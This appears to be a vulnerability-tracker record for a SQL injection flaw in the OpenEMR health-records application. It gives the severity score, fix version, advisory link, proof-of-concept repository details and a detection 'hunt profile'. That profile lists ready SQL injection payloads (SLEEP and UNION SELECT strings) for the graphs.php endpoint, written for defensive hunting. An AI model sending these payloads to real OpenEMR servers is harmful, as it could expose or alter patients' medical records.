{
  "id": "CVE-2026-32127",
  "url": "https://poc.griffinguard.io/cve/CVE-2026-32127",
  "published_at": "2026-03-11T20:53:09.61Z",
  "title": "SQL Injection Vulnerability in ajax graphs library (OpenEMR)",
  "vendor": "openemr",
  "product": "openemr",
  "cvss": {
    "score": 8.8,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2026-02-26T17:25:38Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": -13.1,
    "repo": "ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0",
    "source": "github"
  },
  "poc_repo_count": 1,
  "exploit_count": 0,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.1, OpenEMR contains a SQL injection vulnerability in the ajax graphs library that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the ajax graphs library. This vulnerability is fixed in 8.0.0.1.",
  "cwe": "CWE-89",
  "cpes": [
    "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*"
  ],
  "cvss_by_source": {
    "cna": 8.8
  },
  "repos": [
    {
      "repo": "ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0",
      "url": "https://github.com/ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0",
      "created_at": "2026-02-26T17:25:38Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 15,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 30 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2026-02-03T13:58:13Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "openemr",
        "product": "openemr",
        "ranges": [
          "\u003c 8.0.0.1"
        ],
        "fixed_in": [
          "8.0.0.1"
        ]
      }
    ],
    "upgrade": [
      "Upgrade openemr to 8.0.0.1 or later."
    ],
    "references": [
      {
        "kind": "Vendor advisory",
        "url": "https://github.com/openemr/openemr/security/advisories/GHSA-v8q6-h79f-736x"
      }
    ]
  },
  "exploit_refs": [],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/library/ajax/graphs.php",
      "headers": [
        {
          "name": "Cookie",
          "value": "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2"
        }
      ],
      "body_markers": [
        "csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603",
        "name=payload\"injection",
        "table=LBF",
        "name=date,SLEEP(5) FROM (SELECT 1 AS field_value) AS ld UNION SELECT ld.field_value AS date",
        "name=date,SLEEP(1) FROM (SELECT NULL AS field_value) AS ld UNION SELECT 1 AS date,1 UNION SELECT ld.field_value AS date",
        "name=date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS datedate",
        "name=date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 0 UNION ALL SELECT ld.field_value AS datedate"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "http",
      "repos": [
        "ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:62",
        "ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:67",
        "ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:70",
        "ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:124",
        "ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:128"
      ]
    }
  ],
  "rules": []
}
